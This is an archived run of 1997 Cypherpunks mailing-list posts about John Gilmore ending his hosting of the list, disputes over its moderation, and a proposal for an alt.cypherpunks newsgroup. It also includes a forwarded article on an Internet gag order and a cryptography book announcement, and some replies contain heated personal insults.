A large fraction of the list seems to think that "freedom of speech"
means that everyone is required to listen to everyone else at all
times.  That there can't be focused, topical conversations in a
society that has freedom of speech.  I would say the opposite; part of
freedom of speech is the freedom to choose to whom we speak and to
whom we listen.  This is part of what cryptography does: lets us
control who can receive our speech, and lets recievers determine who
the speaker is.

There also seems to be a misunderstanding that freedom of speech
requires that people who want to speak already have a place, set up
and maintained by someone else, for them to speak in.  If someone
who's set up a speech-place decides it isn't being used for its
intended purpose, then they are a censor, stopping all possibility of
conversations.  Did you forget that there are millions of other places
to speak in cyberspace, millions more in realspace, and that you can
personally create more if you don't like any of the ones you know about?
To paraphrase Zappa, you wouldn't know censorship if it bit you on the
ass.  You think you're being censored when you're just being excluded
from a forum because what you're saying isn't interesting to that forum.

So anyway, I'm tired of it all.  I'd much rather focus on getting my
crypto work done than babysitting majordomo, tracking down attempts to
subscribe the entire US Congress to the list, and debating the seventy
or eighty "obvious right ways" to handle the list.

This is a "put up or shut up" to the cypherpunks community.

Either you list denizens will, among yourselves, put in the energy to
build a new home for the list (and run it in whatever way your
volunteers want) by Feb 20, or the list will cease to exist on Feb 20.

The next ten days of moderated discussion, through the end of the
original experiment, will give the community a chance to discuss
whether and where it plans to host the list after the experiment is
over.  My feeling is that the stalkers who have been trying to shut it
down (Dimitri, etc) will be out in full force, trying to disrupt the
process of finding a new home.  It would be very hard to make progress
along that line in an unmoderated list.  Cypherpunks-unedited readers
are welcome to try.

Sandy reports that he's changing his criteria for moderation for the
remainder of the experiment.  It was his idea, and I approve.  The
criteria now are:

	*  The topics of the list are:
		cryptography
		setting up replacements for cypherpunks@toad.com
	*  On-topic, legal, posts will go to the list.
	*  Postings with any hint of legal liability (in Sandy's opinion)
	   will be silently ignored.
	*  Legal but off-topic posts will go to cypherpunks-flames.

Sandy will apply these criteria retroactively to the backlog (of about
140 messages), which means that most recent criticisms of the
moderation (which don't invove someone volunteering to do things for
the list) will go straight to the flames list.  If you don't like it,
I recommend that you start your own list.  Soon.

For me it's a sad thing that the community's willingness to pull
together has degenerated to the point where I feel better off
separating from the list.  I hope that others in the community will
create one or several alternatives that work better.

	John Gilmore




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Tue, 11 Feb 1997 05:56:13 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702111154.DAA16237@toad.com>
Message-ID: <Pine.SUN.3.91.970211053825.18392D-100000@crl7.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

You have probably just read John's post.  I truly hope YOU (each
and every one of you) can rise to his challenge.  If you have 
offered nothing in the past but criticism, it's now time to get a
bit more real.  What will it be, your money, time, equipment?

I would hope that the loudest advocates of "free speech" turn out
to be the most generous, but I'm not holding my breath.  Maybe 
the solution(s) will come from you lurkers.  I hope you can put
down your beer long enough to get involved.

Finally, if anyone wants to discuss why the Cypherpunk list has
come to this, or what I did right or wrong as a moderator, let's
talk about--on the new list(s) YOU create.  For now, though, it's
off-topic.  We have work to do.


 S a n d y

P.S.	To all those people who privately supported me in
	my attempt to help the list deal with its problems,
	thank you.  I wouldn't have come back without your
	and John's encouragement.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 11 Feb 1997 06:32:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Indiana judge extends gag order to the Net, from TNNN
Message-ID: <Pine.GSO.3.95.970211063200.26942D-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Tue, 11 Feb 1997 06:31:28 -0800 (PST)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: Indiana judge extends gag order to the Net, from TNNN

The Netly News Network
http://netlynews.com/

   Gag On This 
   by Declan McCullagh (declan@well.com)
   February 10, 1997
   
        The point of moving a trial or selecting a jury from a distant
   county is, of course, to prevent jurors from being influenced by the
   local media and opinions of the nearby community. But what if the
   media are global and the community is virtual?
   
        That enigma is causing problems for an Indiana couple on trial
   for reckless homicide in the November 1995 death of their son from    
   meningitis. Bill and Sarah Planck had hoped to demonstrate their
   innocence through the Net, and so another son created a web site with
   documents from a counter-lawsuit filed against the county welfare
   agencies and sheriff's department, detailing how police threatened and
   intimidated the family.

        Now the judge presiding over their criminal trial has ordered the
   Plancks to pull the plug on the site.

        Madison County judge Fredrick Spencer told me he extended an
   existing gag order to the Internet because the tort claim notice could
   influence jurors. "We went two counties away to get the jury. But
   people in Randolph County have computers and America Online. So to
   avoid any possible problem, I ordered them to take it off," Spencer
   said.

        Spencer says the order was necessary to preserve the integrity of
   the trial. "It's only the trial that I'm concerned with," he said. "If
   I don't do what I can, I risk having to do [the trial] over again."

        Yet as soon as the Plancks yanked the documents offline on
   January 27, copies sprouted on the web site of a supporter -- beyond
   the reach of Judge Spencer.

        Who's right, Spencer or the Plancks? I posed that question to
   David Post, a professor at Georgetown Law School. "Gag orders may in a
   way be a thing of the past," he replied.

       "It becomes an enforcement dilemma with respect to the Internet.
   It's a hell of a lot easier to enforce that gag order [locally]. You
   really only have to keep your eye on a very small number of
   dissemination vehicles," Post said. "Gag orders are violated on
   occasion, but by and large you have some confidence that they'll be
   respected. Obviously you can't anymore."

        Gag orders stem from the right to an impartial jury. "We think
   that sometimes -- rarely, but sometimes -- that can best be
   accomplished by controlling the kind of information potential jurors
   might see. The Net deforms the landscape," Post said.

        Katharine Liell, the Plancks' attorney, was reluctant to discuss
   the case for fear of violating the gag order -- which covers her as
   well. "I'm uncertain what I can and can't say due to the vagueness of
   the gag order," she said. "Gag orders are supposed to be specific in
   nature, but I don't understand the nature or breadth of this gag order
   so I'm not comfortable commenting at this time."
   
        The legal question at issue in this prosecution is whether the
   Plancks are guilty of four felony charges, including reckless homicide
   and involuntary manslaughter, in the death of Lance Planck from    
   pneumococcal meningitis. The verdict may depend on the answer to one  
   question: Did the Plancks wait too long to call 911? More than the
   couple, however, is on trial. The case also reveals how a child      
   protection agency can be used as a weapon to threaten parents and
   divide a family. The mirrored documents tell a sad story of a poor    
   family who lived in a trailer park and home-schooled their eight
   children, and their long-standing battle with Madison County social
   workers. 
   
        The first salvo came in 1992, when a social worker visited the
   Planck home to investigate the children's alleged vision problems.
   Based on that visit, a judge ordered that their eyes be examined. A   
   month later, police invaded the Planck home and forcibly removed the
   children. The tort notice describes other encouters, including tear
   gas canisters lobbed into their home and warrantless arrests.      
        
       "I've known the Plancks for a long time," said Brent Tobin, an
   electrical engineer who mirrored the web site. "I've lived in the town
   all my life. I know there's nothing going on there. The deputy        
   prosecutor made them out to be religious weirdos, but they're not."

       "I put up the web site since I don't feel that the county  
   government should have jurisdiction over the World Wide Web. I think
   there should be freedom of speech. I feel gag orders are a violation
   of rights," Tobin said.

        For his part, Judge Spencer emphasized that his gag order        
   "expires at the end of the case. Free speech is an important right and
   I'm going to be the last person to have a problem with it."

        What about the mirror site? Has his order accomplished anything?
   "The Planck supporters are going to put it on there," Spencer replied.
   "If you're suggesting that I'm tilting at windmills, perhaps you're
   right."
   
###







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 11 Feb 1997 06:48:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <Pine.SUN.3.91.970211053825.18392D-100000@crl7.crl.com>
Message-ID: <3300864F.1DED@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort wrote:
> You have probably just read John's post.  I truly hope YOU (each
> and every one of you) can rise to his challenge.  If you have
> offered nothing in the past but criticism, it's now time to get a
> bit more real.  What will it be, your money, time, equipment?

What challenge?  An offer to break code for money?  Not likely,
is it?

> I would hope that the loudest advocates of "free speech" turn out
> to be the most generous, but I'm not holding my breath.  Maybe
> the solution(s) will come from you lurkers.  I hope you can put
> down your beer long enough to get involved.

Generous with what?  Get involved with crypto?  That's why they're
here in the first place, yes?

> Finally, if anyone wants to discuss why the Cypherpunk list has
> come to this, or what I did right or wrong as a moderator, let's
> talk about--on the new list(s) YOU create.  For now, though, it's
> off-topic.  We have work to do.

I think they already talked about it, and the decision is in.  What
does "off-topic" mean? Does it mean further criticism will be censored?

> P.S. To all those people who privately supported me in my attempt
>      to help the list deal with its problems, thank you.

Help the list?  You almost destroyed the list.  If you wanted to
help, you should have provided lessons on filtering.

> I wouldn't have come back without your and John's encouragement.

A lot of people wish you hadn't come back.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 11 Feb 1997 07:15:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702111154.DAA16237@toad.com>
Message-ID: <33008CCE.28E0@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore wrote:
> Sandy hit a pothole in the moderation experiment when Mr. Nemesis
> submitted a posting containing nothing but libelous statements about
> Sandy's employer.  He never anticipated that he wouldn't be able to
> follow his announced "post it to one list or the other" policy because
> to do so would make him legally liable (in his opinion; he's a lawyer,
> I'm not).  His gears jammed, and the whole machine came to a halt for
> a few days.

Naturally he hit a pothole.  Censorship has its price, and you
folks just discovered it.  But censors never give up, do they?
Especially when there are hidden agendas.

> Sandy has agreed to continue moderation through the end of the
> original 1-month experiment (through Feb 19).  And it's a good thing,
> too, because the "cypherpunks community" had better get off its
> whining butt in the next ten days, or it will no longer exist.

John Gilmore is so disrespectful of the human beings on this list
that he whines and complains about their "attitudes", as though
he had a right to control them.  What a jerk.

> I've come to the conclusion that I'm not willing to host the
> cypherpunks list any more.  It's not the true assholes that brought me
> to this decision; it's the reaction from the bulk of people on the
> list: suspicion, flamage, and criticism with every attempt to improve
> things.  I noticed few people volunteering some of their own time,
> money, or machines to help out.  Almost all the suggestions were
> advice for *other* people to implement:

Not willing because of some additional burden?  No.  It's because you
were outed as a censor and a jerk, and you can't get back the respect
you previously had.  The sour grapes you're displaying here are worthy
of a little child, not an adult.

> Now each of these posters will get their chance to do it "right" --
> on their own time and with their own resources.

Read: I'm gonna take my bat and ball and go home...

> A large fraction of the list seems to think that "freedom of speech"
> means that everyone is required to listen to everyone else at all
> times.  That there can't be focused, topical conversations in a
> society that has freedom of speech.  I would say the opposite; part of
> freedom of speech is the freedom to choose to whom we speak and to
> whom we listen.  This is part of what cryptography does: lets us
> control who can receive our speech, and lets recievers determine who
> the speaker is.

Everything was fine until you decided to screw it up.  Then your
emotional, denying little brain trys to blame it on everyone else.

> There also seems to be a misunderstanding that freedom of speech
> requires that people who want to speak already have a place, set up
> and maintained by someone else, for them to speak in.

There are places to speak, and people try to speak in those places.
When they are cut off, then they complain.  Nobody complained before
you had an open forum that you weren't providing same.  That's your
denial kicking up, not mine.

> If someone
> who's set up a speech-place decides it isn't being used for its
> intended purpose, then they are a censor, stopping all possibility of
> conversations.  Did you forget that there are millions of other places
> to speak in cyberspace, millions more in realspace, and that you can
> personally create more if you don't like any of the ones you know about?

Intended purpose?  Did you really believe that setting up an open
forum gave you the right (or any option) to control the content?
Are you so immature that you can't handle complaints?

> To paraphrase Zappa, you wouldn't know censorship if it bit you on the
> ass.  You think you're being censored when you're just being excluded
> from a forum because what you're saying isn't interesting to that forum.

I know a lot of things, especially after they've bit be in the ass.
Especially about censors and CIA-related trolls like yourself, who
set up forums to collect info on unsuspecting American citizens.
Made any "yeti" expeditions lately?

> So anyway, I'm tired of it all.  I'd much rather focus on getting my
> crypto work done than babysitting majordomo, tracking down attempts to
> subscribe the entire US Congress to the list, and debating the seventy
> or eighty "obvious right ways" to handle the list.

Read: I need to find a new troll that's not being sabotaged by
alert citizens.

> This is a "put up or shut up" to the cypherpunks community.
> Either you list denizens will, among yourselves, put in the energy to
> build a new home for the list (and run it in whatever way your
> volunteers want) by Feb 20, or the list will cease to exist on Feb 20.

Jeez, do you have an ego or what?  Who died and made you the king?
Your only claim to fame is your equipment that's hosting the list.
Your reputation is in the toilet.  You're nobody.  In fact, you're
less than nobody.  Your best bet would be to crawl into a hole and
pull the dirt in over you.

> The next ten days of moderated discussion, through the end of the
> original experiment, will give the community a chance to discuss
> whether and where it plans to host the list after the experiment is
> over.  My feeling is that the stalkers who have been trying to shut it
> down (Dimitri, etc) will be out in full force, trying to disrupt the
> process of finding a new home.  It would be very hard to make progress
> along that line in an unmoderated list.  Cypherpunks-unedited readers
> are welcome to try.

Yet another accusation that Dimitri's purpose is to "shut it down".
The very fact that it's you who have the com puts the lie to that.

> Sandy reports that he's changing his criteria for moderation for the
> remainder of the experiment.  It was his idea, and I approve.  The
> criteria now are:

Another experiment run by the same incompetent bozo who screwed up
the first experiment.  Don't you clowns ever get it?  You do, but
then again, you have a hidden agenda.

>         *  The topics of the list are:
>                 cryptography
>                 setting up replacements for cypherpunks@toad.com
>         *  On-topic, legal, posts will go to the list.
>         *  Postings with any hint of legal liability (in Sandy's opinion)
>            will be silently ignored.
>         *  Legal but off-topic posts will go to cypherpunks-flames.
> 
> Sandy will apply these criteria retroactively to the backlog (of about
> 140 messages), which means that most recent criticisms of the
> moderation (which don't invove someone volunteering to do things for
> the list) will go straight to the flames list.  If you don't like it,
> I recommend that you start your own list.  Soon.
> 
> For me it's a sad thing that the community's willingness to pull
> together has degenerated to the point where I feel better off
> separating from the list.  I hope that others in the community will
> create one or several alternatives that work better.

So you think you've fulfilled your obligation?  There's only one
thing that will ever save you.  Get down on your knees and confess,
saying to God and the list subscribers what a pathetic sinner you
are, and beg for their forgiveness.  Then get to work for the people,
and give up trolling for the feds.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 11 Feb 1997 07:26:42 -0800 (PST)
To: Brad Dolan <bdolan@USIT.NET>
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <Pine.GSO.3.95.970211071647.21204B-100000@use.usit.net>
Message-ID: <33008EB2.6D86@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Brad Dolan wrote:
> How do you encourage people to use resources more-or-less wisely?
> 1.  The socialist/nanny model - take charge and give 'em orders
> We've tried that and it apparently didn't work out.
> 2.  The market model - charge people for what they use
> A while back, omebody suggested a system which would be self-funding, by
> charging people for each post they made.  Maybe we should try it?  If
> each little piece of ASCII art cost a poster a buck or two to send, he
> might send fewer.  On the other hand, we don't want to discourage
> interesting posters, so I think some system to reimburse interesting
> posters would be useful.
> I'm not the guy to set up the system, but I'll happily buy a modest amount
> of "posting tickets."

When you're a spy, you usually pay for info.  In John's case, he's
been getting the info for free.  Now you're suggestion he charge
people for providing him the info.  This is not the direction John
wants to go.  He just wants cleaner info, that's all.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@USIT.NET>
Date: Tue, 11 Feb 1997 04:26:59 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702111154.DAA16237@toad.com>
Message-ID: <Pine.GSO.3.95.970211071647.21204B-100000@use.usit.net>
MIME-Version: 1.0
Content-Type: text/plain


How do you encourage people to use resources more-or-less wisely?

1.  The socialist/nanny model - take charge and give 'em orders

We've tried that and it apparently didn't work out.

2.  The market model - charge people for what they use

A while back, omebody suggested a system which would be self-funding, by
charging people for each post they made.  Maybe we should try it?  If
each little piece of ASCII art cost a poster a buck or two to send, he
might send fewer.  On the other hand, we don't want to discourage
interesting posters, so I think some system to reimburse interesting
posters would be useful.

I'm not the guy to set up the system, but I'll happily buy a modest amount
of "posting tickets."

Brad



On Tue, 11 Feb 1997, John Gilmore wrote:

> Sandy hit a pothole in the moderation experiment when Mr. Nemesis
> submitted a posting containing nothing but libelous statements about
> Sandy's employer.  He never anticipated that he wouldn't be able to
> follow his announced "post it to one list or the other" policy because
> to do so would make him legally liable (in his opinion; he's a lawyer,
> I'm not).  His gears jammed, and the whole machine came to a halt for
> a few days.
> 
> Sandy has agreed to continue moderation through the end of the
> original 1-month experiment (through Feb 19).  And it's a good thing,
> too, because the "cypherpunks community" had better get off its
> whining butt in the next ten days, or it will no longer exist.
> 
> I've come to the conclusion that I'm not willing to host the
> cypherpunks list any more.  It's not the true assholes that brought me
> to this decision; it's the reaction from the bulk of people on the
> list: suspicion, flamage, and criticism with every attempt to improve
> things.  I noticed few people volunteering some of their own time,
> money, or machines to help out.  Almost all the suggestions were
> advice for *other* people to implement:
> ...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 11 Feb 1997 07:04:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Proposal: alt.cypherpunks (unmoderated)
In-Reply-To: <855650862.27942@dejanews.com>
Message-ID: <2uoy2D14w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


gbroiles@netbox.com writes:
>
> Some people, including myself, believe that the Cypherpunks mailing list
> (cypherpunks@toad.com), running since sometime in 1992, has outgrown the
> mailing list format and should move to Usenet. The advantages once gained
> by running as a mailing list (faster propagation, more personal/intimate
> atmosphere, freedom from Usenet-style flames & spams) are no longer
> present. Questions about the appropriateness of moderation, moderator
> liability for various "bad" kinds of messages, and the potential for
> content control  where there is a single point for distribution have
> become very prominent concerns among list members. It's time to move to
> Usenet.

Greg Broils works for Sameer Parekh's C2Net - as does Sandy Sandfart.
Given Sandy's recent actions, I think any such proposal coming from a
C2Net employee should be viewed with extreme suspicion.

> Hence, this prelude to a newgroup.  Two cypherpunk-related newsgroups now
> exist; mail.cypherpunks and jyu.ohjelmointi.cypherpunks. mail.cypherpunks
> is unsatisfactory to become a destination for Usenet-originated
> cypherpunk traffic because its name implies that it's a gateway from a
> mailing list. This is presently true, but this proposal is intended to
> create a newsgroup which supplements or replaces the current mailing
> list. I've got no clue where "jyu.ohjelmointi.cypherpunks" originates,
> who's in charge of it, or what "jyu.ohjelmointi" is or stands for.
> Judging from the limited selection of messages which seem to reach
> DejaNews and AltaVista from it, it suffers from relatively poor
> propagation.

Greg probably doesn't know where "Finland" is.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brian D Williams <talon57@well.com>
Date: Tue, 11 Feb 1997 08:04:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: [CRYPTO] Classic Cryptography
Message-ID: <199702111604.IAA26274@well.com>
MIME-Version: 1.0
Content-Type: text/plain




                    FOR IMMEDIATE RELEASE

                       6 February 1997


Aegean Park Press proudly announces publication of CLASSICAL
CRYPTOGRAPHY COURSE - VOLUME II by Randall K. Nichols
[LANAKI]. [ISBN: 0-89412-264-9, 1997, 464 pages, $US 40.80 ]
 
Volume II presents Lectures 11 - 22 (of a total of
twenty five) from his successful course in Classical
Cryptography taught in 1995 and 1996 to 391 students via
the Internet and an additional 65 via regular mail.

Volume II covers polyalphabetic substitutions ciphers in
the Vigenere family (Viggy, Variant, Beaufort, Porta,
Gronsfeld, Portax, Gromark), decimation, principles of
symmetry, isologs and superimposition solution
techniques.  Volume II describes the difficult aperiodic
cipher systems (Interrupted key, Autoclave, Progressive,
Running Key used in cipher machines) and their analysis
by isomorphs, and repetitions. Cryptarithm solutions for
extended bases are presented. The theory of coincidences
and statistical attacks (Kappa, Chi, Phi) derived from
this important theory are detailed.  Transposition
theory and a variety of transposition ciphers are solved
(Columnar, Amsco, Myszkowski, Cadenus, Grille, Swagman,
Auto-Transposition).  Volume II has two chapters on the
difficult cipher systems invented by the famous French
cryptographer Delastelle: Foursquare, Bifid and Trifid.
Volume II presents a detailed chapter on passwords, law
and data protection.  Volume II ends with a historical
look at codes, commercial code systems, and famous
cipher machines.  Volume II is a potpourri of advanced
topics in classical cryptography.

The Cryptographic Resources and References section has
been expanded to cover all phases of involvement with
cryptography: cryptanalysis, history, legal, social,
classical, modern, NSA, mathematical techniques,
recreational, intelligence, tactical, strategic,
National Defense, INFOSEC: offensive and defensive,
hardware, software, standards, public key cryptography,
web sources, and applicable Senate and House bills.
Readers are encouraged to expand their knowledge in the
many directions possible to them through this section.
 
For orders or Information Contact: Aegean Park Press, P.O.
Box 2837, Laguna Hills, Ca. 92654. Telephone: 1-800-736-3587;
Fax: 1-714-586-8269.  Group discounts available.
 







REVIEW OF CLASSICAL CRYPTOGRAPHY COURSE, VOLUME I
By the Honorable David Kennedy, Director of Research,
NCSA.


     Classical Cryptography Course, Volume I.  By
Randall K. Nichols; published by Aegean Park Press,
(714) 586-8811 (phone) (714) 586-8269 (fax); (800) 736
- 3587; 301 pages (with index); $34.80 (American
Cryptogram Association members receive a 20% discount
through ACA or NCSA Members receive a 10% discount if
purchased from the NCSA Bookstore)

     In Classical Cryptography Course, Volume I, author
Randall K. Nichols has created a benchmark for serious
students of the science of cryptography.  This is a
text.  It is for learning, and with it one cannot help
but learn about the foundations of the science.  An
outgrowth of Nichols' admitted "labor of love" in the
online Cryptography Courses he teaches over the
Internet, Volume I creates the foundation for
understanding the development of the science.

     The ten chapters of this volume lead the student
through simple substitutions, substitutions with
variants, multiliteral substitutions, xenocrypts
(foreign language substitutions), cryptarithms, the
Enigma machine (separate Enigma95 program disk available
direct from the author) and finally to polyalphabetic
substitutions.  Seven chapters conclude with problems;
solutions and discussions are provided in an appendix.
The text is indexed with twenty-four pages of references
for further study.

     I found Nichols' sense of the history of
cryptography particularly noteworthy.  The volume is
liberally salted with citations from history with
applications of the methods developed in the text.  From
Revolutionary France through the American Civil War, the
Tammany Hall scandal, Revolutionary Soviet ciphers and
Japanese successes against Chinese codes prior to Pearl
Harbor, the text provides touchstones for student to
understand and relate to.

     Phil Zimmermann observed in the documentation to
his Pretty Good Privacy Program to "Beware of Snake
Oil." Among his arguments is this anecdote:

     I remember a conversation with Brian Snow, a highly
placed senior cryptographer with the NSA.  He said he
would never trust an encryption algorithm designed by
someone who had not "earned their bones" by first
spending a lot of time cracking codes.

     Where Schneier's Applied Cryptography is a crash
course in some encryption protocols and algorithms in
use today, Nichols' text begins the teaching of Snake
Oil detection and prevention.
Learning the fundamentals, developed throughout the
text, brings a richer understanding of the science, it's
history and insight into it's possibilities and some
vulnerabilities lurking for the unwary.

     Nichols plans for release Volume II in the series
with advanced material on from the online course which
includes statistical attacks and transposition in
February, 1997.

Reviewer:  Dave Kennedy, CISSP, is Director of Research
for the National Computer Security Association,
Carlisle, PA.  He is a retired Army military police
officer and member of NCSA, ASIS, ISSA and the Computer
Security Institute.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Tue, 11 Feb 1997 08:31:33 -0800 (PST)
To: Sandy Sandfort <sandfort@crl7.crl.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702111458.GAA20705@toad.com>
Message-ID: <3.0.1.32.19970211083054.02e60618@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 05:50 AM 2/11/97 -0800, Sandy Sandfort wrote:
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                          SANDY SANDFORT
> . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
>
>C'punks,
>
>You have probably just read John's post.  I truly hope YOU (each
>and every one of you) can rise to his challenge.  If you have 
>offered nothing in the past but criticism, it's now time to get a
>bit more real.  What will it be, your money, time, equipment?

What kind of memory requirements/machine load does the list eat up?  I have a
machine that may fit this purpose...  (Need to know if I need to upgrade the
box though.)


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---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Tue, 11 Feb 1997 09:06:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <v03007800af264c8cba96@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



(Please leave my name in any replies to ensure I see your comments.)

I talked to Hugh Daniel at the Saturday meeting about the creation of an
"alt.cypherpunks" unmoderated (of course) newsgroup as a possible
alternative (or supplement) to cypherpunks@toad.com. Greg Broiles and John
Gilmore were there for part of the discussion, too.

(We did not, unfortunately, get to the "future of the list" topic at the
physical meeting...the excellent presentations ran way over the expected
time and we never got to this topic. Sort of too bad, given John's edict
that we have 10 days to find and implement an alternative....)

A Usenet newsgroup has many advantages and disadvantages. Whether it might
be gatewayed to other mailing lists--perhaps even the list(s) which
survives "cypherpunks@toad.com"--depends of course on the decision of those
hosting others lists.

A charter statement is needed, and then the issuance of a creation message.
A better charter statement will increase the chances of more sites carrying
the newsgroup. While many sites carry essentially all newsgroups--more than
30,000--, some sites do not and only carry some of the alt.heirarchy. And
some sites do not carry _any_ of the alt newsgroups.

At Hugh's suggestion, I'm suggesting a "first cut" at a charter statement.
Suggestions for additional language or changes are welcome.

Charter for alt.cypherpunks: (suggested)

"Alt.cypherpunks is for the unmoderated discussion of cryptography and the
political, social, and economic implications of unrestricted, strong
cryptography. The Cypherpunks grpup has existed since 1992 and has been
central in the debate about strong crypto, government restrictions, crypto
anarchy, and in showing weaknesses of various ciphers and security
products. The mailing list has had as many as 1500 subscribers, plus
gateways to newsgroups and Web sites. It is expected that "alt.cypherpunks"
will be a free-wheeling forum for many viewpoints. As it is unmoderated,
readers are strongly advised to learn how to use filters and other tools
for making virtual anarchies manageable for their own tastes."

I invite your comments, editorial suggestions, etc. Perhaps when enough of
the "collective mind" has made inputs (ughh!), the charter can be submitted
with the creation message. (I'm not knowledgeable about the process, but
I'll bet many of you are.)

There are of course disadvantages to such a newsgroup, as any Usenet user
certainly knows. However, there are advantages as well. Here are some of
each:


* Advantages:

- Usenet is set up to automagically propagate articles across tens of
thousands of sites.

- there is no "nexus" of control, no chokepoint, no precedent (in the U.S.)
for halting distribution of Usenet newsgroups. (Canada stopped some
Homulka-Teale newsgroups a few years ago, other countries have blocked
entire sections, but note that the Scientologists have been unable to block
"alt.religion.scientology"...I surmise that a mailing list version of
a.r.s. would have faced lawsuits against the list.owner, if reachable in
U.S. or European courts...a lesson to think about with the current
imbroglio over certain claims about certain products and the possible
liability of Sandy and/or toad.com.)

- fairly sophisticated newsreading software already exists.

- no "unsuscribe" and "unscrive" messages! (It makes it easy for newcomers
to discover the group, read it for a while, then stop. It also, of course,
increases the number of "What is crypto?" sorts of messages.)

- persons cannot be unsubscribed from an unmoderated list

- with a Usenet group, there is no ability to impose notions of "order" on
the list (e.g., requirements for PGP-signing, demands for "on-topic" posts,
removal of "illegal" posts, etc.). Thus, people must deal with a virtual
anarchy by using proper tools, by ignoring what they don't want to see, or
by contracting out the role of "nanny" to others.


* Disadvantages

- Usenet newsgroups are easy targets for spammers, even more so than are
mailing lists.

- crossposting often gets out of hand. (With 30,000+ newsgroups, even
well-intentioned posters often pick the "three or four most likely" targets
for their posts).

- propagation is often spotty, and some sites have no access at all to the
"alt.*" hierarchy. (Many corporate sites block the alt heirarchy. Many
academic sites block just the alt.binaries.pictures heirarchy. Etc. A news
to mailing list gateway is possible for these readers.)

- propagation may be slower than mailing lists.

- Usenet is of course archived and easily searchable via Alta Vista, Deja
News, etc.. This bothers some people. (However, the CP mailing list is now
also archived and searchable, so the disadvantage is becoming moot.)

- persons cannot be unsubscribed from an unmoderated list (this is also an
advantage, of course)

- there will be more newbie-type messages, as casual browsers of Usenet
discover alt.cypherpunks and ask questions. This is both a disadvantage and
an advantage.


* Discussion of some of these points:

1. The issue of slow- or non-propagation can be handled by having mailing
lists which bounce the traffic (from a well-connected site) to folks who
get slow distribution, or no distribution at all. News to mail gateways, in
other words. Traffic in the reverse direction (end reader back to
alt.cypherpunks) can be handled either by "blind posting" to the a.c.
newsgroup, via one's newsreader, or through mail-to-news gateways, or
perhaps via the distributor described here.

2. And the services of "moderators," such as Eric Blossom's and Ray
Arachelian's "best of" lists, or even Sandy's list, are of course still
possible. A newsgroup does not change this, except for the latency in
getting messages out to newsgroup sites.

3. The advantages of a "no nexus, no chokepoint" distribution are huge. The
Usenet carries huge advantages in terms of having no place to attack it.

4. Some have raised the point that Usenet is "inefficient" and should not
be used for this reason. Well, it may indeed be ineficient, but the costs
have already been incurred, and alt.cypherpunks would only be 1/30,000th of
additional load (very roughly speaking). In other words, might as well use
what's out there. If a "second Usenet" ever comes into existence, fine.

5. Some of us discussed the creation of alt.cypherpunks back in '92-93. At
that time, we thought the mailing list had some major advantages. In my
view, the situation has changed dramatically since then. The mailing list
has become huge, the volume of noise has increased, majordomo is allowing
the list to be used for spamming (any 'bot system will probably have this),
and the list is already gatewayed to many sites as a _newsgroup_ anyway.

So, I think the time has come to just create it. The "activation energy
barrier" of a mailing list, where people would have to make the effort to
